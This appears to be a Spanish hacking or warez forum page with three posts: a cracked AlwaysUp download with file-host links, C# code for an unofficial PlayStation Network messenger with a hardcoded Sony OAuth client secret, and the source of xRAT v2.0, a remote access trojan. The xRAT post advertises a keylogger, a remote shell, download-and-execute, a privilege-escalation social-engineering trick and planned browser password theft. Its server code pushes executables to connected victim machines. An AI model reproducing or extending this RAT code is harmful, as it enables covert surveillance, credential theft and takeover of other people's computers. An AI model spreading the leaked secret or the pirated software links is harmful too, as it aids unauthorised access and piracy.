Deja Un Comentario - Comentar es Alentar

Core Technologies AlwaysUp v9.7.2.88

$
0
0


Core Technologies AlwaysUp v9.7.2.88 [Ingles]
[ RAR | Install | Win: 7/8/8.1/10 | 4.90 MB ]

Descripción:

AlwaysUp ejecuta el ejecutable, archivo por lotes o un atajo como un servicio de Windows, gestión y seguimiento constantemente para garantizar el 100% de disponibilidad. Se reiniciará automáticamente su aplicación si se bloquea, se bloquea o se hace muy grande, despedir "Error de aplicación" diálogos, y ejecutar comprobaciones de validez "a medida" para asegurar que su aplicación está disponible 24/7. Regular, correo electrónico detallado de AlwaysUp le mantendrá al tanto de accidentes, se reinicia programadas y otros eventos relevantes. AlwaysUp aprovecha la arquitectura de servicios de Windows para proporcionar robusta, control de aplicaciones de bajo nivel en un entorno seguro. Como un servicio de Windows, la aplicación puede iniciar automáticamente cuando se inicia el ordenador, sobreviven los inicios de sesión de usuario / cierres de sesión, y se ejecutan en su totalidad y sin la intervención del usuario.

Capturas:


Características:

Se ejecuta la aplicación (archivo ejecutable, archivo por lotes o acceso directo) 24 x 7 como un servicio de Windows
Muy fácil de usar
Vigila constantemente su solicitud y lo reinicia cada vez que se produce un error
Capaz de detectar y reiniciar "mal comportamiento" de las aplicaciones que cuelgan, aproveche la CPU o consumir demasiada memoria
Capaz de iniciar su aplicación al iniciar el sistema, para funcionar cuando ningún usuario ha iniciado sesión y para funcionar a pesar de inicio de sesión / cierre de sesión - todo para garantía de operatividad sin intervención manual del usuario
Capaz de reiniciar la aplicación (o reiniciar el equipo) a una hora programada
Capaz de aumentar la prioridad de la aplicación para asegurarse de que recibe un tratamiento preferencial en el equipo host
le correos electrónicos con los detalles de los accidentes, se reinicia y otros problemas
Es compatible con la integración de sus propias utilidades "una comprobación de seguridad", ejecutados periódicamente para comprobar si la aplicación está funcionando normalmente o no
descarta automáticamente "error" Aplicación cuadros de diálogo comunes que impiden que las aplicaciones estrellados salga totalmente
descarta automáticamente los cuadros de diálogo de depuración y registra el texto cuadro de diálogo para su posterior revisión por los desarrolladores - lo que facilita el despliegue de aplicaciones en "modo de depuración"
La interfaz gráfica de usuario intuitiva hace que sea fácil de configurar la aplicación, pero sin interfaz gráfica de usuario es necesaria una vez que su solicitud haya sido configurado.
Aprovecha la API de Windows Services para lograr robusta, control de aplicaciones de bajo nivel en un entorno seguro
Informes de todas las actividades en el registro de eventos de Windows
Muy eficiente; exige un mínimo de recursos de CPU y de memoria
No se requiere programación!

Idioma: Ingles
Compreso con Winrar

Core Technologies AlwaysUp v9.7.2.88 [Ingles]
[ RAR | Install | Win: 7/8/8.1/10 | 4.90 MB ]




**Uploaded:

http://ul.to/oht8h3mm

**Bigfile:

https://www.bigfile.to/file/KDkSCnZscsn5


Deja Un Comentario - Comentar es Alentar

[C#] Playstation Network Messenger (Messages, Images, Stickers and Voice)

$
0
0
Código:

########################################################################################
########################################################################################
#+-
#+- Title: Playstation Network Messenger
#+- Author: Annongeek
#+- Category: Game Tool
#+- Description: This is a Messenger for Playstation I wrote in C# .NET a few months ago, you can:
#+- > Send Friend Request
#+- > Send Messages, images, stickers
#+- > Look up Users.
#+- > Trophy image and what rank they are To list.
#+- > Plus image if user has plus or not
#+- > Party Chat (Message and Voice). 
#+- Release: 2016-06-05
#+- 
########################################################################################
########################################################################################

FormMain.cs

Código:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Timers;
using System.Windows.Forms;


namespace Playstation_Friends_List
{
    public partial class FormMain : Form
    {
      public PlaystationConnections psnConnection;
        ImageList imglist = new ImageList();
        #region Public
        public void addMarquee(string message)
        {
            marqueeLable.AddMessage(message);
        }
        public void accountName(string message)
        {
            lblAccount.Invoke(new MethodInvoker(() => { lblAccount.Text = message; }));
        }
        public void avatarPic(string url)
        {
            picAvatar.ImageLocation = url;
        }
        private Image LoadImage(string url)
        {
            System.Net.WebRequest request =
                System.Net.WebRequest.Create(url);

            System.Net.WebResponse response = request.GetResponse();
            System.IO.Stream responseStream =
                response.GetResponseStream();

            Bitmap bmp = new Bitmap(responseStream);

            responseStream.Dispose();

            return bmp;
        }
        public void FriendList(string UserName,string Avatar,string Online
            ,string platForm,string gameTitle,string gamestatus)
        {
            friendList.Columns.AddRange(new ColumnHeader[]
          {new ColumnHeader(), new ColumnHeader(), new ColumnHeader(),new ColumnHeader(),new ColumnHeader()});
            friendList.View = View.Tile;
            imglist.ImageSize = new Size(48, 48);
            imglist.ColorDepth = ColorDepth.Depth32Bit;
            imglist.Images.Add(UserName, LoadImage(Avatar));
            friendList.LargeImageList = imglist;
            friendList.TileSize = new Size(220, 85);
           
            for (int i = 0; i < imglist.Images.Count; i++)
            {
                if (imglist.Images.Keys[i].Contains(UserName))
                {
                    ListViewItem items = new ListViewItem();
                   
                    items.ImageIndex = i;
                    items.Text = UserName;
                    items.SubItems.Add(Online);
                    items.SubItems.Add(platForm);
                    items.SubItems.Add(gameTitle);
                    items.SubItems.Add(gamestatus);
                    friendList.Invoke((MethodInvoker)delegate { friendList.Items.Add(items); });
                    break;
                }
            }
        }
        #endregion
        private FormSignIn signInWindow;
        public  FormSignIn SignInWindow
        {
            get { return signInWindow; }
            set { signInWindow = value; }
        }
        public FormMain()
        {
            InitializeComponent();
            signInWindow = new FormSignIn();
            signInWindow.Show();
            signInWindow.TopMost =true;
            addMarquee("Status: Loaded, Please Sign In with Playstation Account");
         
        }
     
        private void FormMain_Load(object sender, EventArgs e)
        {
            psnConnection = new PlaystationConnections();
        }
       
        private void btnSignIn_Click(object sender, EventArgs e)
        {
            signInWindow = new FormSignIn();
            signInWindow.Show();
            signInWindow.TopMost = true;
            friendList.Clear();
        }

        private void btnSearch_Click(object sender, EventArgs e)
        {

        }

        private void btnMessage_Click(object sender, EventArgs e)
        {

        }

        private void toolStrip1_ItemClicked(object sender, ToolStripItemClickedEventArgs e)
        {

        }
    }
}

PlaystationConnections.cs

Código:

using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text;
using System.Threading.Tasks;

namespace Playstation_Friends_List
{
    public class PlaystationConnections
    {
        #region
        private string client_id = "b7aad20f-95c4-4079-8d96-e5b51009edb7";
        public string Client_Id { get; }
        private string client_secret = "366VVlqaKYrGlw7O";
        public string Client_Secret { get; }
        private string grant_code;
        public string Grant_Code { get; set; }
        private string auth_token;
        public string Auth_Token { get; set; }
        private string profile_cookie;
        public string Profile_Cookie { get; set; }
        private string user_id;
        public string User_Id { get; set; }
        #endregion
        public delegate void FriendList(string userID, string avatarUrl, string onlineStatus,
                          string platForm, string gameTitle, string gameStatus);
        public event FriendList FriendListHandler;
        HttpClient client;
        public string PlaystationCookie(string Username, string Password)
        {
            client = new HttpClient();
            HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Post, "https://auth.api.sonyentertainmentnetwork.com/2.0/ssocookie");
            var postData = new FormUrlEncodedContent(new Dictionary<string, string>
            {
                { "authentication_type","password" },
                { "username" , Username },
                {"password", Password },
                {"client_id",client_id }
            });
            client.DefaultRequestHeaders.Clear();
            client.DefaultRequestHeaders.Add("X-Requested-With", "com.playstation.mobilemessenger");
            client.DefaultRequestHeaders.ExpectContinue = false;
            request.Content = postData;
            Task<HttpResponseMessage> response = client.SendAsync(request);
            var input = response.Result.Content.ReadAsStringAsync();
            var parse = Newtonsoft.Json.JsonConvert.DeserializeObject<AccountProfile>(input.Result);
            profile_cookie = parse.npsso;
            if (!string.IsNullOrWhiteSpace(profile_cookie))
                PlaystationCode();
            return input.Result;
        }
        public string PlaystationCode()
        {
            HttpRequestMessage requst = new HttpRequestMessage(HttpMethod.Get, "https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?state=341434570&duid=00000007000201289024e96fada3a0b83a507265737469676520203a456c697465375153202000000000000000&ui=pr&client_id=b7aad20f-95c4-4079-8d96-e5b51009edb7&device_base_font_size=8.5&device_profile=tablet&redirect_uri=com.playstation.mobilemessenger.scecompcall%3A%2F%2Fredirect&response_type=code&scope=psn%3Asceapp%2Cuser%3Aaccount.get%2Cuser%3Aaccount.settings.privacy.get%2Cuser%3Aaccount.settings.privacy.update%2Cuser%3Aaccount.realName.get%2Cuser%3Aaccount.realName.update%2Ckamaji%3Aget_account_hash%2Ckamaji%3Augc%3Adistributor%2Coauth%3Amanage_device_usercodes%2Ccapone%3Areport_submission&service_entity=urn%3Aservice-entity%3Apsn&service_logo=ps&smcid=psmsgr%3Asignin&support_scheme=sneiprls");
            client.DefaultRequestHeaders.Clear();
            client.DefaultRequestHeaders.Add("X-Requested-With", "com.playstation.mobilemessenger");
            client.DefaultRequestHeaders.Add("Accept-Encoding", "gzip");
            client.DefaultRequestHeaders.Add("Connection", new string[] { "Keep-Alive" });
            client.DefaultRequestHeaders.ExpectContinue = false;
            Task<HttpResponseMessage> response = client.SendAsync(requst);
            string responseheader = response.Result.Headers.GetValues("Location").FirstOrDefault();
            string str = "com.playstation.mobilemessenger.scecompcall://redirect/?code=";
            int start = responseheader.IndexOf(str, StringComparison.Ordinal) + str.Length;
            int end = responseheader.IndexOf("&state", start, StringComparison.Ordinal) - start;
            grant_code = responseheader.Substring(start, end);
            if (!string.IsNullOrWhiteSpace(grant_code))
                PlaystationToken();
                return grant_code;
        }

        public string PlaystationToken()
        {
            HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Post, "https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/token");
            var postData = new FormUrlEncodedContent(new Dictionary<string, string>
            {
                {"grant_type","authorization_code" }  ,
                {"client_id", client_id  },
                {"client_secret", client_secret },
                {"redirect_uri","com.playstation.mobilemessenger.scecompcall://redirect" } ,
                {"scope","psn:sceapp,user:account.get,user:account.settings.privacy.get,user:account.settings.privacy.update,user:account.realName.get,user:account.realName.update,kamaji:get_account_hash,kamaji:ugc:distributor,oauth:manage_device_usercodes,capone:report_submission" },
                {"code", grant_code },
                {"service_entity","urn:service-entity:psn" },
                {"duid", "00000007000201289024e96fada3a0b83a507265737469676520203a456c697465375153202000000000000000" }
            });
            client.DefaultRequestHeaders.Add("User-Agent", "com.sony.snei.np.android.sso.share.oauth.versa.USER_AGENT");
            client.DefaultRequestHeaders.Authorization =
                        new AuthenticationHeaderValue("Basic", Convert.ToBase64String(ASCIIEncoding.ASCII.GetBytes(string.Format("{0}:{1}", client_id, client_secret))));
            client.DefaultRequestHeaders.Add("X-Requested-With", "com.playstation.mobilemessenger");
            client.DefaultRequestHeaders.Add("Connection", new string[] { "Keep-Alive" });
            client.DefaultRequestHeaders.Add("Accept-Encoding", "gzip");
            client.DefaultRequestHeaders.ExpectContinue = false;
            request.Content = postData;
            Task<HttpResponseMessage> response = client.SendAsync(request);
            var input = response.Result.Content.ReadAsStringAsync();
            var parse = Newtonsoft.Json.JsonConvert.DeserializeObject<AccountProfile>(input.Result);
            auth_token = parse.access_token;
            if (!string.IsNullOrWhiteSpace(auth_token))
                PlaystationAuth();
            return input.Result;
        }

        public string PlaystationAuth()
        {
            HttpRequestMessage requst = new HttpRequestMessage(HttpMethod.Get, "https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/token/" + auth_token);
            client.DefaultRequestHeaders.Clear();
            client.DefaultRequestHeaders.Add("X-Requested-With", "com.playstation.mobilemessenger");
            client.DefaultRequestHeaders.Add("Accept-Encoding", "gzip");
            client.DefaultRequestHeaders.Add("Connection", new string[] { "Keep-Alive" });
            client.DefaultRequestHeaders.ExpectContinue = false;
            client.DefaultRequestHeaders.Authorization =
                    new AuthenticationHeaderValue("Basic", Convert.ToBase64String(ASCIIEncoding.ASCII.GetBytes(string.Format("{0}:{1}", client_id, client_secret))));
            Task<HttpResponseMessage> response = client.SendAsync(requst);
            var input = response.Result.Content.ReadAsStringAsync();
            var parse = Newtonsoft.Json.JsonConvert.DeserializeObject<AccountProfile>(input.Result);
            user_id = parse.online_id;
            if (!string.IsNullOrWhiteSpace(user_id))
                PlaystationAvatar();
            Program.MainWindow.accountName(user_id);
            Program.MainWindow.Text = "Playstation Messanger (" + user_id + ")";
            return input.Result;
        }

        public string PlaystationAvatar()
        {
            HttpRequestMessage requst = new HttpRequestMessage(HttpMethod.Get, "https://us-prof.np.community.playstation.net/userProfile/v1/users/me/profile2?fields=npId%2CprimaryOnlineStatus%2Cpresences%28%40titleInfo%29%2CisOfficiallyVerified%2CpersonalDetail%28%40default%2CprofilePictureUrls%29%2CpersonalDetailSharing%2CavatarUrls%2CfriendRelation&avatarSizes=s&profilePictureSizes=m");
            client.DefaultRequestHeaders.Clear();
            client.DefaultRequestHeaders.Add("X-Requested-With", "com.playstation.mobilemessenger");
            client.DefaultRequestHeaders.Add("Accept-Encoding", "gzip");
            client.DefaultRequestHeaders.Add("Connection", new string[] { "Keep-Alive" });
            client.DefaultRequestHeaders.ExpectContinue = false;
            client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", auth_token);
            Task<HttpResponseMessage> response = client.SendAsync(requst);
            var input = response.Result.Content.ReadAsStringAsync();
            JObject avatarResult = JObject.Parse(input.Result);
            IList<JToken> avatarResults = avatarResult["profile"].Parent.ToList();
            foreach(var avatar in avatarResults)
            {
              AccountProfile  profile = JsonConvert.DeserializeObject<AccountProfile>(avatar.ToString());
                Program.MainWindow.avatarPic(profile.avatarUrls[0].avatarUrl);
            }
            if (!string.IsNullOrWhiteSpace(input.Result))
                Program.MainWindow.SignInWindow.Hide();
            PlaystationFriendList();
            return input.Result;
        }

        public string PlaystationFriendList()
        {
            try
            {
                HttpRequestMessage requst = new HttpRequestMessage(HttpMethod.Get, "https://us-prof.np.community.playstation.net/userProfile/v1/users/me/friends/profiles2?fields=onlineId%2CavatarUrls%2Cplus%2CtrophySummary(%40default)%2CisOfficiallyVerified%2CpersonalDetail(%40default%2CprofilePictureUrls)%2CprimaryOnlineStatus%2Cpresences(%40titleInfo%2ChasBroadcastData)&sort=name-onlineId&userFilter=online&avatarSizes=s&profilePictureSizes=m&offset=0&limit=36");
                client.DefaultRequestHeaders.Clear();
                client.DefaultRequestHeaders.Add("X-Requested-With", "com.playstation.mobilemessenger");
                client.DefaultRequestHeaders.Add("Accept-Encoding", "gzip");
                client.DefaultRequestHeaders.Add("Connection", new string[] { "Keep-Alive" });
                client.DefaultRequestHeaders.ExpectContinue = false;
                client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", auth_token);
                Task<HttpResponseMessage> response = client.SendAsync(requst);
                var input = response.Result.Content.ReadAsStringAsync();
                dynamic friendresult = JsonConvert.DeserializeObject(input.Result);
                foreach (var result in friendresult.profiles)
                {
                    Profiles profileinfo = JsonConvert.DeserializeObject<Profiles>(result.ToString());
                    Program.MainWindow.FriendList(profileinfo.onlineId, profileinfo.avatarUrls[0].avatarUrl, profileinfo.presences[0].onlineStatus, profileinfo.presences[0].platform, profileinfo.presences[0].titleName, profileinfo.presences[0].gameStatus);
                }
                if (!string.IsNullOrWhiteSpace(input.Result))
                    Program.MainWindow.addMarquee("Status: Sign In as " + user_id);
                return input.Result;
            }
            catch { return "error"; }
        }
    }
}


-




mega.nz - [Code] Playstation Network Messenger

[C#] xRAT v2.0: Remote Administration Tool

$
0
0

Código:


                      ██╗  ██╗██████╗  █████╗ ████████╗
                      ╚██╗██╔╝██╔══██╗██╔══██╗╚══██╔══╝
                        ╚███╔╝ ██████╔╝███████║  ██║ 
                        ██╔██╗ ██╔══██╗██╔══██║  ██║ 
                      ██╔╝ ██╗██║  ██║██║  ██║  ██║ 
                      ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝  ╚═╝ v2.0 
                                Remote Administration Tool
                                                                       
                      [+]    Developed by tidusjar    [+]
                      [+]      Copyright (c) 2015      [+]
                      [+]  Greetz To All Pentesters    [+]


xRAT 2.0, es una herramienta de administración remota rápida y de peso ligero codificado en C#. Proporcionando una gran estabilidad y una interfaz de usuario fácil de usar, xRAT es la solución de administración remota perfecta para ti.

Características
  • Buffer de network TCP/IP
  • Los Buffers de protocolo para enviar y recibir datos serializados
  • Comunicación comprimida (QuickLZ) y cifrado (AES-128)
  • Multi-hilo
  • Soporta UPnP
  • Soporta No-Ip.com
  • Personalizada táctica de ingeniería social para elevar privilegios de administrador (truco de betabot)
  • Visita el sitio web (oculta y visible)
  • Mostrar Messagebox
  • Administrador de tareas
  • Administrador de archivos
  • Gestor de Arranque
  • Escritorio remoto
  • Shell remoto
  • Descargar y ejecutar
  • Subir y ejecutar
  • Información del sistema
  • Comandos del ordenador (reiniciar, apagar, en espera)
  • Keylogger
  • Revertir SOCKS5/HTTPS Proxy
Requerimientos
  • .NET Framework 3.5 Client Profile
  • Suportado Sistema Operativo (32- y 64-bit)
    • Windows XP
    • Windows Server 2003
    • Windows Vista
    • Windows Server 2008
    • Windows 7
    • Windows Server 2012
    • Windows 8/8.1
    • Windows 10 Preview
Compilación

Abre el proyecto en Visual Studio y clic en construir/build o utilizar uno de los archivos batch incluidos en el directorio principal/root.
Descripción del archivo batch:
  • build-debug.bat Construye la aplicación mediante la configuración debug (para prueba)
  • build-release.bat Construye la aplicación mediante la configuración release (para publicación)
Creación de un cliente
  • Configuración Debug : Los Settings.cs predefinidos serán utilizados. El constructor del cliente no funciona en esta configuración. Puede ejecutar el cliente directamente con los parámetros especificados.
  • Configuración Release : Utilice el constructor del cliente para crear su cliente de lo contrario va a estropearse.
Por hacer
  • Editor del Registro (explorar, borrar, añadir claves de registro)
  • Recuperación de contraseña
    • Recuperar las contraseñas de los navegadores comunes (es decir, Chrome, Firefox, IE) y FTP-Clients (es decir FileZilla Client)
  • Inicio persistente
  • Cuestiones
Codigo Fuente

Server/FrmMain.cs

Código:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Threading;
using System.Windows.Forms;
using xServer.Core.Commands;
using xServer.Enums;
using xServer.Core.Helper;
using xServer.Core.Networking;
using xServer.Core.Networking.Utilities;
using xServer.Core.Utilities;
using xServer.Settings;

namespace xServer.Forms
{
    public partial class FrmMain : Form
    {
        public ConnectionHandler ConServer { get; set; }
        public static FrmMain Instance { get; private set; }

        private const int STATUS_ID = 4;
        private const int USERSTATUS_ID = 5;

        private readonly ListViewColumnSorter _lvwColumnSorter;
        private readonly object _lockClients = new object();
        private bool _titleUpdateRunning;

        private void ReadSettings(bool writeIfNotExist = true)
        {
            if (writeIfNotExist)
                XMLSettings.WriteDefaultSettings();

            XMLSettings.ListenPort = ushort.Parse(XMLSettings.ReadValue("ListenPort"));
            XMLSettings.ShowToU = bool.Parse(XMLSettings.ReadValue("ShowToU"));
            XMLSettings.AutoListen = bool.Parse(XMLSettings.ReadValue("AutoListen"));
            XMLSettings.ShowPopup = bool.Parse(XMLSettings.ReadValue("ShowPopup"));
            XMLSettings.UseUPnP = bool.Parse(XMLSettings.ReadValue("UseUPnP"));

            XMLSettings.ShowToolTip = bool.Parse(XMLSettings.ReadValueSafe("ShowToolTip", "False"));
            XMLSettings.IntegrateNoIP = bool.Parse(XMLSettings.ReadValueSafe("EnableNoIPUpdater", "False"));
            XMLSettings.NoIPHost = XMLSettings.ReadValueSafe("NoIPHost");
            XMLSettings.NoIPUsername = XMLSettings.ReadValueSafe("NoIPUsername");
            XMLSettings.NoIPPassword = XMLSettings.ReadValueSafe("NoIPPassword");

            XMLSettings.Password = XMLSettings.ReadValue("Password");
        }

        private void ShowTermsOfService(bool show)
        {
            if (show)
            {
                using (var frm = new FrmTermsOfUse())
                {
                    frm.ShowDialog();
                }
                Thread.Sleep(300);
            }
        }

        public FrmMain()
        {
            Instance = this;

            ReadSettings();

#if !DEBUG
            ShowTermsOfService(XMLSettings.ShowToU);
#endif

            InitializeComponent();

            this.Menu = mainMenu;

            _lvwColumnSorter = new ListViewColumnSorter();
            lstClients.ListViewItemSorter = _lvwColumnSorter;
        }

        public void UpdateWindowTitle()
        {
            if (_titleUpdateRunning) return;
            _titleUpdateRunning = true;
            try
            {
                this.Invoke((MethodInvoker) delegate
                {
                    int selected = lstClients.SelectedItems.Count;
                    this.Text = (selected > 0) ?
                        string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", ConServer.ConnectedAndAuthenticatedClients, selected) :
                        string.Format("xRAT 2.0 - Connected: {0}", ConServer.ConnectedAndAuthenticatedClients);
                });
            }
            catch
            {
            }
            _titleUpdateRunning = false;
        }

        private void InitializeServer()
        {
            ConServer = new ConnectionHandler();

            ConServer.ServerState += ServerState;
            ConServer.ClientConnected += ClientConnected;
            ConServer.ClientDisconnected += ClientDisconnected;
        }

        private void AutostartListeningP()
        {
            if (XMLSettings.AutoListen && XMLSettings.UseUPnP)
            {
                UPnP.Initialize(XMLSettings.ListenPort);
                ConServer.Listen(XMLSettings.ListenPort);
            }
            else if (XMLSettings.AutoListen)
            {
                UPnP.Initialize();
                ConServer.Listen(XMLSettings.ListenPort);
            }
            else
            {
                UPnP.Initialize();
            }

            if (XMLSettings.IntegrateNoIP)
            {
                NoIpUpdater.Start();
            }
        }

        private void FrmMain_Load(object sender, EventArgs e)
        {
            InitializeServer();
            AutostartListeningP();
        }

        private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
        {
            ConServer.Disconnect();
            UPnP.DeletePortMap(XMLSettings.ListenPort);
            nIcon.Visible = false;
            nIcon.Dispose();
            Instance = null;
        }

        private void lstClients_SelectedIndexChanged(object sender, EventArgs e)
        {
            UpdateWindowTitle();
        }

        private void ServerState(ushort port, bool listening)
        {
            try
            {
                this.Invoke((MethodInvoker) delegate
                {
                    botListen.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening.";
                });
            }
            catch (InvalidOperationException)
            {
            }
        }

        private void ClientConnected(Client client)
        {
            new Core.Packets.ServerPackets.GetAuthentication().Execute(client);
        }

        private void ClientDisconnected(Client client)
        {
            RemoveClientFromListview(client);
        }

        /// <summary>
        /// Sets the tooltip text of the listview item of a client.
        /// </summary>
        /// <param name="c">The client on which the change is performed.</param>
        /// <param name="text">The new tooltip text.</param>
        public void SetToolTipText(Client c, string text)
        {
            try
            {
                lstClients.Invoke((MethodInvoker) delegate
                {
                    var item = GetListViewItemByClient(c);
                    if (item != null)
                        item.ToolTipText = text;
                });
            }
            catch (InvalidOperationException)
            {
            }
        }

        /// <summary>
        /// Adds a connected client to the Listview.
        /// </summary>
        /// <param name="clientItem">The client to add.</param>
        public void AddClientToListview(ListViewItem clientItem)
        {
            try
            {
                if (clientItem == null) return;

                lstClients.Invoke((MethodInvoker) delegate
                {
                    lock (_lockClients)
                    {
                        lstClients.Items.Add(clientItem);
                        ConServer.ConnectedAndAuthenticatedClients++;
                    }
                });

                UpdateWindowTitle();
            }
            catch (InvalidOperationException)
            {
            }
        }

        /// <summary>
        /// Removes a connected client from the Listview.
        /// </summary>
        /// <param name="c">The client to remove.</param>
        public void RemoveClientFromListview(Client c)
        {
            try
            {
                lstClients.Invoke((MethodInvoker) delegate
                {
                    lock (_lockClients)
                    {
                        foreach (ListViewItem lvi in lstClients.Items.Cast<ListViewItem>()
                            .Where(lvi => lvi != null && (lvi.Tag as Client) != null && c.Equals((Client) lvi.Tag)))
                        {
                            lvi.Remove();
                            ConServer.ConnectedAndAuthenticatedClients--;
                            break;
                        }
                    }
                });
                UpdateWindowTitle();
            }
            catch (InvalidOperationException)
            {
            }
        }
       
        /// <summary>
        /// Sets the status of a client.
        /// </summary>
        /// <param name="c">The client to update the status of.</param>
        /// <param name="text">The new status.</param>
        public void SetStatusByClient(Client c, string text)
        {
            try
            {
                lstClients.Invoke((MethodInvoker) delegate
                {
                    var item = GetListViewItemByClient(c);
                    if (item != null)
                        item.SubItems[STATUS_ID].Text = text;
                });
            }
            catch (InvalidOperationException)
            {
            }
        }

        /// <summary>
        /// Sets the user status of a client.
        /// </summary>
        /// <remarks>
        /// Can be "Active" or "Idle".
        /// </remarks>
        /// <param name="c">The client to update the user status of.</param>
        /// <param name="userStatus">The new user status.</param>
        public void SetUserStatusByClient(Client c, UserStatus userStatus)
        {
            try
            {
                lstClients.Invoke((MethodInvoker) delegate
                {
                    var item = GetListViewItemByClient(c);
                    if (item != null)
                        item.SubItems[USERSTATUS_ID].Text = userStatus.ToString();
                });
            }
            catch (InvalidOperationException)
            {
            }
        }

        /// <summary>
        /// Gets the Listview item which belongs to the client.
        /// </summary>
        /// <param name="c">The client to get the Listview item of.</param>
        /// <returns>Listview item of the client.</returns>
        private ListViewItem GetListViewItemByClient(Client c)
        {
            ListViewItem itemClient = null;

            lstClients.Invoke((MethodInvoker) delegate
            {
                itemClient = lstClients.Items.Cast<ListViewItem>()
                    .FirstOrDefault(lvi => lvi != null && lvi.Tag is Client && c.Equals((Client)lvi.Tag));
            });

            return itemClient;
        }

        /// <summary>
        /// Gets all selected clients.
        /// </summary>
        /// <returns>An array of selected Clients.</returns>
        private Client[] GetSelectedClients()
        {
            List<Client> clients = new List<Client>();

            lstClients.Invoke((MethodInvoker)delegate
            {
                lock (_lockClients)
                {
                    if (lstClients.SelectedItems.Count == 0) return;
                    clients.AddRange(
                        lstClients.SelectedItems.Cast<ListViewItem>()
                            .Where(lvi => lvi != null && lvi.Tag is Client)
                            .Select(lvi => (Client)lvi.Tag));
                }
            });

            return clients.ToArray();
        }

        /// <summary>
        /// Displays a popup with information about a client.
        /// </summary>
        /// <param name="c">The client.</param>
        public void ShowPopup(Client c)
        {
            try
            {
                this.Invoke((MethodInvoker)delegate
                {
                    if (c == null || c.Value == null) return;
                   
                    nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country),
                        string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(),
                        c.Value.OperatingSystem), ToolTipIcon.Info);
                });
            }
            catch (InvalidOperationException)
            {
            }
        }

        private void lstClients_ColumnClick(object sender, ColumnClickEventArgs e)
        {
            // Determine if clicked column is already the column that is being sorted.
            if (e.Column == _lvwColumnSorter.SortColumn)
            {
                // Reverse the current sort direction for this column.
                if (_lvwColumnSorter.Order == SortOrder.Ascending)
                    _lvwColumnSorter.Order = SortOrder.Descending;
                else
                    _lvwColumnSorter.Order = SortOrder.Ascending;
            }
            else
            {
                // Set the column number that is to be sorted; default to ascending.
                _lvwColumnSorter.SortColumn = e.Column;
                _lvwColumnSorter.Order = SortOrder.Ascending;
            }

            // Perform the sort with these new sort options.
            lstClients.Sort();
        }

        #region "ContextMenu"

        #region "Connection"

        private void ctxtUpdate_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmUpdate(lstClients.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        if (Core.Utilities.Update.UseDownload)
                        {
                            foreach (Client c in GetSelectedClients())
                            {
                                new Core.Packets.ServerPackets.DoClientUpdate(0, Core.Utilities.Update.DownloadURL, string.Empty, new byte[0x00], 0, 0).Execute(c);
                            }
                        }
                        else
                        {
                            new Thread(() =>
                            {
                                bool error = false;
                                foreach (Client c in GetSelectedClients())
                                {
                                    if (c == null) continue;
                                    if (error) continue;

                                    FileSplit srcFile = new FileSplit(Core.Utilities.Update.UploadPath);
                                    var fileName = FileHelper.GetRandomFilename(8, ".exe");
                                    if (srcFile.MaxBlocks < 0)
                                    {
                                        MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                            "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }

                                    int id = FileHelper.GetNewTransferId();

                                    CommandHandler.HandleSetStatus(c,
                                        new Core.Packets.ClientPackets.SetStatus("Uploading file..."));

                                    for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                    {
                                        byte[] block;
                                        if (!srcFile.ReadBlock(currentBlock, out block))
                                        {
                                            MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                                "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                            error = true;
                                            break;
                                        }
                                        new Core.Packets.ServerPackets.DoClientUpdate(id, string.Empty, fileName, block, srcFile.MaxBlocks, currentBlock).Execute(c);
                                    }
                                }
                            }).Start();
                        }
                    }
                }
            }
        }

        private void ctxtDisconnect_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                new Core.Packets.ServerPackets.DoClientDisconnect().Execute(c);
            }
        }

        private void ctxtReconnect_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                new Core.Packets.ServerPackets.DoClientReconnect().Execute(c);
            }
        }

        private void ctxtUninstall_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count == 0) return;
            if (
                MessageBox.Show(
                    string.Format(
                        "Are you sure you want to uninstall the client on {0} computer\\s?\nThe clients won't come back!",
                        lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo,
                    MessageBoxIcon.Question) == DialogResult.Yes)
            {
                foreach (Client c in GetSelectedClients())
                {
                    new Core.Packets.ServerPackets.DoClientUninstall().Execute(c);
                }
            }
        }

        #endregion

        #region "System"

        private void ctxtSystemInformation_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                if (c.Value.FrmSi != null)
                {
                    c.Value.FrmSi.Focus();
                    return;
                }
                FrmSystemInformation frmSI = new FrmSystemInformation(c);
                frmSI.Show();
            }
        }

        private void ctxtFileManager_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                if (c.Value.FrmFm != null)
                {
                    c.Value.FrmFm.Focus();
                    return;
                }
                FrmFileManager frmFM = new FrmFileManager(c);
                frmFM.Show();
            }
        }

        private void ctxtStartupManager_Click(object sender, EventArgs e)
        {
